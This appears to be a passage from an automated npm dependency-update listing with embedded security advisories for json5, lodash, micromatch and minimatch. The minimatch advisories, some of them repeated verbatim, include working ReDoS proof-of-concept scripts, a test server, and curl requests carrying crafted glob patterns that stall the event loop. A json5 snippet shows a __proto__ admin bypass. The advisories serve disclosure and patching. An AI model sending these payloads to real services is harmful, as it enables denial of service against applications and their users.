__proto__key to{"isAdmin": true}.JSON5will parse this key and will set theisAdminkey on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}'); if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) { doSomethingDangerous(props); // "Doing dangerous thing as admin." } else { throw new Error('Forbidden...'); }
Release Notes
2.2.3
- Fix: json5@2.2.3 is now the 'latest' release according to npm instead of v1.0.2. ([#299])
2.2.2
2.2.1
- Fix: Removed dependence on minimist to patch CVE-2021-44906. ([#266])
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 35 commits:
2.2.3docs: update CHANGELOG for v2.2.3docs(security): use GitHub security advisoriesdocs: publish a security policydocs(template): bug -> bug report2.2.2docs: update CHANGELOG for v2.2.2fix: add __proto__ to objects and arraysReadme: slight tweak to introImprove example in readmeImprove readme (e.g. explain JSON5 better!) (#291)docs: fix spelling of Aseemtest: require tap as t in cli teststest: remove mocha syntax from testsdocs: update installation and usage for modulesdocs: update package descript to match brandingdocs: update browser usagedocs: update Installation and Usage headerdocs: update headers for CJS and modules usageAdd ESM usage to READMEdocs: update incorrect link in CHANGELOGbuild: lint before testingbuild: use npm-run-alldocs: rename master branch to maindocs: update Travis CI badge and linkci: remove Node.js v6 from Travis due to npm bugchore: fix broken travis-ci status badgeRevert "Replace Travis CI with GitHub Actions"Merge pull request #275 from rhysd/github-actionsci: remove .travis.ymlci: replace Travis CI badge with GitHub Actions badgeci: add GitHub Actions workflow2.2.1docs: update CHANGELOG for v2.2.1fix: remove minimist
โ๏ธ line-column-path (indirect, 2.0.0 โ 4.0.0) ยท Repo
Release Notes
4.0.0
Breaking
- Require Node.js 20 ae838a7
Improvements
3.0.0
Breaking
- Require Node.js 12.20 8c5d1f2
- This package is now pure ESM. Please read this.
- Changed from a default export to named exports.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ lines-and-columns (indirect, 1.1.6 โ 1.2.4) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ lodash (indirect, 4.17.21 โ 4.17.23) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Lodash has Prototype Pollution Vulnerability in `_.unset` and `_.omit` functions
Impact
Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the
_.unsetand_.omitfunctions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.The issue permits deletion of properties but does not allow overwriting their original behavior.
Patches
This issue is patched on 4.17.23.
Commits
See the full diff on Github. The new version differs by 21 commits:
Bump main to v4.17.23 (#6088)fix: setCacheHas JSDoc return type should be boolean (#6071)jsdoc: Add -0 and BigInt zeros to _.compact falsey values list (#6062)Prevent prototype pollution on baseUnset functiondoc: fix autoLink function, conversion of source links (#6056)chore: remove `yarn.lock` file (#6053)ci: remove legacy configuration files (#6052)feat: add renovate setup (#6039)ci: add pipeline for Bun (#6023)docs: update links related to Open JS Foundation (#5968)Add contributors section to READMEfix: linting issues (#6033)Add CI pipeline for Node (#6022)security: Include a threat model (#6026)feat: add CodeQL (#6032)docs: add an IRP (#6028)feat: add scorecard reporting (#6030)docs: add security escalation policy (#6025)ci: add pipeline to run tests on browsers (#6021)ci: add ci pipeline for documentation (#6020)add security.md from afcd5bc (#5946)
โ๏ธ log-symbols (indirect, 4.1.0 โ 7.0.1) ยท Repo
Release Notes
7.0.1
7.0.0
Breaking
- Switch from
chalktoyoctocolors(#34) ab7ca3d
- This is unlikely to affect anyone, but it's a major version just to be safe.
Improvements
6.0.0
Breaking
- Require Node.js 18 22e0d8c
Improvements
5.1.0
- Upgrade dependencies 2ee4f5d
5.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 13 commits:
โ๏ธ lru-cache (downgrade, 6.0.0 โ 5.1.1) ยท Repo ยท Changelog
โ๏ธ meow (indirect, 10.1.1 โ 14.1.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 57 commits:
14.1.0Update dependenciesExport `AnyFlag` and `AnyFlags` typesAdd `commands` option for subcommand parsingImprove startup performanceAccept camelCase flags in strict modeAdd `input.isRequired` option to make input arguments required14.0.0Require Node.js 20Fix incorrect automatic number conversion for flag valuesRemove extraneous hard rejection note (#262)Copy type tests on build (#259)Clean up `description` parsing (#256)Remove hard rejection note in readme (#261)Make options required (#260)Remove `false` from `version` type, add fallback message (#258)Remove `null` from `booleanDefault` type (#257)Improve tests (#255)13.2.0Add `helpIndent` option (#241)13.1.0Meta tweaksRemove `hardRejection` option13.0.0Require Node.js 1812.1.1Fix TypeScript types (#245)12.1.0Readme tweakBundle dependencies (#242)Add Node.js 20 to CI matrix, update dependencies (#243)12.0.1Fix flag `default` values validation (#238)12.0.0Meta tweaksTarget Node 16 (#235)Separate `index.js` and `test.js` into different files (#234)Don't indent single line `help` / `description` text (#232)Add error when `flag.default` isn't a valid choice (#231)Provide JSDoc comments for flag properties (#230)Add `choices` option (#228)Add test for `unnormalizedFlags` with `aliases` (#227)Add `aliases` option (#226)Rename `alias` to `shortFlag` (#225)11.0.0Require Node.js 14Improve TypeScript types (#218)10.1.5Fix for custom config for help (#217)10.1.4Fix `autoHelp` and `autoVersion` with `allowUnknownFlags` set to false (#215)10.1.3Fix return type for `.showHelp()` (#213)Bump dev dependencies (#207)Fix readme typo10.1.2Fix `engines` field (#203)
โ๏ธ micromatch (indirect, 4.0.4 โ 4.0.8) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package
micromatchprior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs inmicromatch.braces()inindex.jsbecause the pattern.*will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to #266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Commits
See the full diff on Github. The new version differs by 26 commits:
4.0.8run verb to generate README documentationMerge branch 'v4' into hauserkristof-feature/v4.0.8Merge pull request #266 from hauserkristof/feature/v4.0.8lintfix: CHANGELOG about braces & CVE-2024-4068, v4.0.5fix: CVE numbers in CHANGELOGfeat: updated CHANGELOGfix: use actions/setup-node@v4feat: rework test to work on macos with node 10,12 and 14fix: removed unused isObject functionfeat: backported CVE fix from 4.0.6 over to 4.0.7Release 4.0.7.Prepare for 4.0.7 with picomatch v2Update README.mdAdd sponsor to readme4.0.5 - Massive (100x) performance improvement of `micromatch.not()`, thanks to @joyceerhl at Microsoft.fix windows testsadd github workflows, upgrade depsMerge pull request #228 from antonyk/patch-1Merge pull request #229 from antonyk/patch-2Merge pull request #233 from joyceerhl/patch-1Use `Set.prototype.has` over `Array.prototype.includes`fix parse method's jsdocfix typo in docsRemove tidelift
โ๏ธ minimatch (indirect, 3.0.4 โ 10.2.4) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
